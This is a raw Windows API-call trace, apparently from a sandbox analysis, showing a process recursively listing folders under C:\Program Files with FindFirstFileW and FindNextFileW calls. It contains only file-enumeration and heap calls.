	[0181.349] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302a1eb0, ftCreationTime.dwHighDateTime=0x1d585b1, ftLastAccessTime.dwLowDateTime=0x643c2c70, ftLastAccessTime.dwHighDateTime=0x1d5c12a, ftLastWriteTime.dwLowDateTime=0x643c2c70, ftLastWriteTime.dwHighDateTime=0x1d5c12a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 0
	[0181.349] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0181.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.349] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0181.349] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0181.350] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.350] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0181.350] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.350] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.350] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0181.350] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.350] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1
	[0181.351] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.351] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.351] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0181.351] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.351] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0181.351] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0181.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.351] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0181.351] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="ꓠv\x0b")) returned 0xffffffff
	[0181.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.351] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0181.351] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.352] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.352] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0181.352] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0181.352] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.352] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1
	[0181.352] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0181.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0181.352] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.353] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0181.353] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0181.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0181.353] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1
	[0181.353] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0181.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.353] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.353] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0181.353] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0181.353] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0
	[0181.353] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0181.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.353] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0181.353] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0181.354] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.354] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1
	[0181.354] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0181.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0181.354] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.354] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0181.354] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4034f90
	[0181.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0182.359] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.359] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.359] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
